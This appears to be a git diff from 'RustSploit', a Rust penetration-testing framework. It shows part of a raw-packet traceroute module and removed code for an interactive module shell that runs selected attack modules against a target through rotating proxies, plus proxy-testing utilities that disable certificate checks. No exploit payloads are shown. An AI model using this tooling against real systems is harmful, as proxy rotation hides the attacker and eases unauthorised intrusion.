let mut rng = rand::rng();
for ttl_val in 1..=MAX_TTL {
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
let mut ttl_responded = false;
for _probe_idx in 0..PROBE_COUNT {
let icmp_probe_id = rng.random_range(33434..=65535);
let icmp_probe_seq = ttl_val as u16;
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
dst_ip,
ttl_val,
src_ip_override_opt,
icmp_probe_id,
icmp_probe_seq,
)?;
let _t0 = Instant::now();
let response = send_and_receive_one(
dst_ip,
&packet_bytes,
protocol_used,
os_sig_params.id,
icmp_probe_id,
icmp_probe_seq,
Duration::from_secs(2),
).await?;
if let Some(res) = response {
ttl_responded = true;
let rtt_str = format!("{:.1}ms", res.rtt_ms);
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
print!("{} ", res.icmp_info.description);
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
if res.source_ip == dst_ip {
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
return Ok(());
}
}
}
let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
}
if !ttl_responded {
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
}
}
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
let mut user_input = String::new();
print!("Are you running this as sudo? (yes/no): ");
stdout().flush().unwrap();
stdin().read_line(&mut user_input).expect("Failed to read line");
if user_input.trim().to_lowercase() == "yes" {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
std::process::exit(1);
}
} else if user_input.trim().to_lowercase() == "no" {
println!("Please run this script as sudo.");
std::process::exit(1);
} else {
println!("Invalid input. Exiting.");
std::process::exit(1);
}
println!("by suicidalteddy");
println!("github.com/s-b-repo");
println!("medium.com/@suicdalteddy/about");
if target.is_empty() {
bail!("No target provided.");
}
execute_traceroute(target).await.map_err(|e| {
eprintln!("{}", format!("[-] Error: {}", e).red());
e
})
}
-450
View File
@@ -1,450 +0,0 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use colored::*;
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut ctx = ShellContext::new();
loop {
print!("{}", "rsf> ".cyan().bold());
io::stdout().flush()?;
let mut raw_input = String::new();
io::stdin().read_line(&mut raw_input)?;
let trimmed = raw_input.trim();
if trimmed.is_empty() {
continue;
}
match split_command(trimmed) {
Some((cmd, rest)) => {
let command_key = resolve_command(&cmd);
match command_key.as_str() {
"exit" => {
println!("Exiting...");
break;
}
"help" => render_help(),
"modules" => utils::list_all_modules(),
"find" => {
if rest.is_empty() {
println!("{}", "Usage: find <keyword>".yellow());
} else {
utils::find_modules(&rest);
}
}
"proxy_load" => {
let file_path = if rest.is_empty() {
prompt_for_path("Path to proxy list file: ")?
} else {
rest.to_string()
};
match utils::load_proxies_from_file(&file_path) {
Ok(summary) => {
ctx.proxy_list = summary.proxies;
println!(
"Loaded {} proxies from '{}'.",
ctx.proxy_list.len(),
file_path
);
if !summary.skipped.is_empty() {
println!(
"{}",
format!(
"Skipped {} invalid entr{}:",
summary.skipped.len(),
if summary.skipped.len() == 1 { "y" } else { "ies" }
)
.yellow()
);
for failure in summary.skipped.iter().take(10) {
println!(
" [line {}] {} ({})",
failure.line_number,
failure.content,
failure.reason
);
}
if summary.skipped.len() > 10 {
println!(
" ... {} additional entr{} skipped.",
summary.skipped.len() - 10,
if summary.skipped.len() - 10 == 1 {
"y"
} else {
"ies"
}
);
}
}
if prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true)? {
test_current_proxies(&mut ctx).await?;
}
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
}
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
}
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
}
"proxy_test" => {
test_current_proxies(&mut ctx).await?;
}
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
}
"use" => {
if rest.is_empty() {
println!("{}", "Usage: use <module_path>".yellow());
} else if utils::module_exists(&rest) {
ctx.current_module = Some(rest.to_string());
println!("{}", format!("Module '{}' selected.", rest).green());
} else {
println!("{}", format!("Module '{}' not found.", rest).red());
}
}
"set" => {
let parts: Vec<&str> = rest.split_whitespace().collect();
if parts.len() >= 2 && parts[0] == "target" {
ctx.current_target = Some(parts[1].to_string());
println!("{}", format!("Target set to {}", parts[1]).green());
} else {
println!("{}", "Usage: set target <value>".yellow());
}
}
"run" => {
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
}
} else {
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
}
}
_ => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
}
}
}
None => {
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
}
}
}
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if let Some(choice) = choices.choose(&mut rng) {
choice.to_string()
} else {
proxy_list.choose(&mut rng).unwrap().to_string()
}
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
fn split_command(input: &str) -> Option<(String, String)> {
let mut parts = input.splitn(2, char::is_whitespace);
let cmd = parts.next()?.to_lowercase();
let rest = parts.next().unwrap_or("").trim().to_string();
Some((cmd, rest))
}
fn resolve_command(cmd: &str) -> String {
match cmd {
"?" | "help" | "h" => "help",
"modules" | "list" | "ls" | "m" => "modules",
"find" | "search" | "f" | "f1" => "find",
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
"proxy_on" | "pon" | "proxyon" => "proxy_on",
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
"use" | "u" => "use",
"set" | "target" => "set",
"run" | "go" | "exec" => "run",
"exit" | "quit" | "q" => "exit",
other => other,
}
.to_string()
}
fn render_help() {
println!();
println!("{}", "RustSploit Command Palette".bold().underline());
println!(
"{}",
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
.dimmed()
);
println!();
let entries = vec![
("help", "help | h | ?", "Show this screen"),
("modules", "modules | ls | m", "List available modules"),
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
("use", "use <path> | u <path>", "Select a module to run"),
("set target", "set target <value>", "Set current target host/IP"),
("run", "run | go", "Execute selected module (with proxy rotation)"),
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
("show_proxies", "show_proxies | proxies", "Display proxy status"),
("exit", "exit | quit | q", "Leave the shell"),
];
println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
println!("{}", "-".repeat(72).dimmed());
for (cmd, shortcuts, desc) in entries {
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
}
println!();
println!(
"{}",
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
.dimmed()
);
println!();
}
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded to test.");
return Ok(());
}
let total = ctx.proxy_list.len();
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
println!(
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
total,
if total == 1 { "y" } else { "ies" },
timeout_secs,
max_parallel
);
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
let working_count = summary.working.len();
let failed = summary.failed;
let working = summary.working;
if working_count == 0 {
println!("{}", "[-] No proxies passed the connectivity test.".red());
} else {
println!(
"{}",
format!("[+] {} proxies passed the connectivity test.", working_count).green()
);
}
if !failed.is_empty() {
println!(
"{}",
format!("[-] {} proxies failed validation:", failed.len()).yellow()
);
for failure in &failed {
println!(" {} -> {}", failure.proxy, failure.reason);
}
}
ctx.proxy_list = working;
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
ctx.proxy_enabled = false;
clear_proxy_env_vars();
}
Ok(())
}
fn prompt_for_path(message: &str) -> io::Result<String> {
loop {
print!("{}", message);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let value = input.trim();
if !value.is_empty() {
return Ok(value.to_string());
}
println!("Path cannot be empty. Please try again.");
}
}
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!("{} [{}]: ", message, default_hint);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please answer with 'y' or 'n'."),
}
}
}
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<u64>() {
Ok(value) => return Ok(value),
Err(_) => println!("Invalid number. Please enter a positive integer."),
}
}
}
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
loop {
print!("{} [{}]: ", message, default);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
return Ok(default);
}
match trimmed.parse::<usize>() {
Ok(value) if value > 0 => return Ok(value),
_ => println!("Invalid number. Please enter a positive integer."),
}
}
}
-316
View File
@@ -1,316 +0,0 @@
// src/utils.rs
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader};
use std::path::Path;
use std::sync::Arc;
use std::time::Duration;
use anyhow::{Result, anyhow, Context};
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest;
use tokio::sync::Semaphore;
use url::Url;
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
/// always return a valid “host:port” or “[ipv6]:port” string.
pub fn normalize_target(raw: &str) -> Result<String> {
if raw.contains("]:") || raw.starts_with('[') {
// Already normalized, like [::1]:8080 or [2001:db8::1]
return Ok(raw.to_string());
}
// Looks like an unwrapped IPv6 address if it has multiple colons
let is_ipv6 = raw.matches(':').count() >= 2;
if is_ipv6 {
Ok(format!("[{}]", raw))
} else {
Ok(raw.to_string())
}
}
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
if depth > MAX_DEPTH || !dir.exists() {
return modules;
}
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
}
}
modules
}
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
return;
}
let mut grouped = std::collections::BTreeMap::new();
for module in modules {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Finds and displays modules matching a keyword (unchanged)
pub fn find_modules(keyword: &str) {
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
let filtered: Vec<String> = modules
.into_iter()
.filter(|m| m.to_lowercase().contains(&keyword_lower))
.collect();
if filtered.is_empty() {
println!(
"{}",
format!("No modules found matching '{}'.", keyword).red()
);
return;
}
println!(
"{}",
format!("Modules matching '{}':", keyword).bold().underline()
);
let mut grouped = std::collections::BTreeMap::new();
for module in filtered {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
#[derive(Debug, Clone)]
pub struct ProxyParseError {
pub line_number: usize,
pub content: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyLoadSummary {
pub proxies: Vec<String>,
pub skipped: Vec<ProxyParseError>,
}
#[derive(Debug, Clone)]
pub struct ProxyTestFailure {
pub proxy: String,
pub reason: String,
}
#[derive(Debug, Clone)]
pub struct ProxyTestSummary {
pub working: Vec<String>,
pub failed: Vec<ProxyTestFailure>,
}
/// Attempt to normalise and validate a proxy entry.
fn normalize_proxy_candidate(line: &str) -> Result<String> {
let trimmed = line.trim();
if trimmed.is_empty() {
return Err(anyhow!("empty line"));
}
let candidate = if trimmed.contains("://") {
trimmed.to_string()
} else {
format!("http://{}", trimmed)
};
let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
}
if url.host_str().is_none() {
return Err(anyhow!("missing proxy host"));
}
if url.port().is_none() {
return Err(anyhow!("missing proxy port"));
}
Ok(candidate)
}
/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
let file = fs::File::open(filename)
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
let mut skipped = Vec::new();
for (idx, line_res) in reader.lines().enumerate() {
let raw_line = line_res
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
let trimmed = raw_line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
continue;
}
match normalize_proxy_candidate(trimmed) {
Ok(proxy) => proxies.push(proxy),
Err(err) => skipped.push(ProxyParseError {
line_number: idx + 1,
content: trimmed.to_string(),
reason: err.to_string(),
}),
}
}
if proxies.is_empty() {
return Err(anyhow!("no valid proxies found in '{}'", filename));
}
Ok(ProxyLoadSummary { proxies, skipped })
}
/// Test proxies concurrently and return which passed connectivity checks.
pub async fn test_proxies(
proxies: &[String],
test_url: &str,
timeout_secs: u64,
max_parallel: usize,
) -> ProxyTestSummary {
if proxies.is_empty() {
return ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
}
let timeout = Duration::from_secs(timeout_secs.max(1));
let parallel = max_parallel.max(1);
let semaphore = Arc::new(Semaphore::new(parallel));
let mut tasks = FuturesUnordered::new();
for proxy in proxies.iter().cloned() {
let test_url = test_url.to_string();
let semaphore = Arc::clone(&semaphore);
tasks.push(tokio::spawn(async move {
let permit = semaphore.acquire_owned().await;
if permit.is_err() {
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
}
let _permit = permit.unwrap();
let result = check_proxy(&proxy, &test_url, timeout).await;
(proxy, result)
}));
}
let mut summary = ProxyTestSummary {
working: Vec::new(),
failed: Vec::new(),
};
while let Some(res) = tasks.next().await {
match res {
Ok((proxy, Ok(()))) => summary.working.push(proxy),
Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
proxy,
reason: err.to_string(),
}),
Err(join_err) => summary.failed.push(ProxyTestFailure {
proxy: "<spawn failed>".to_string(),
reason: join_err.to_string(),
}),
}
}
summary
}
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
let proxy_cfg = reqwest::Proxy::all(proxy)
.with_context(|| format!("invalid proxy '{}'", proxy))?;
let client = reqwest::Client::builder()
.timeout(timeout)
.proxy(proxy_cfg)
.danger_accept_invalid_certs(true)
.build()
.context("failed to build reqwest client")?;
let response = client
.get(test_url)
.send()
.await
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
if !response.status().is_success() {
return Err(anyhow!(
"received HTTP status {} while hitting {}",
response.status(),
test_url
));
}
Ok(())
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 349 KiB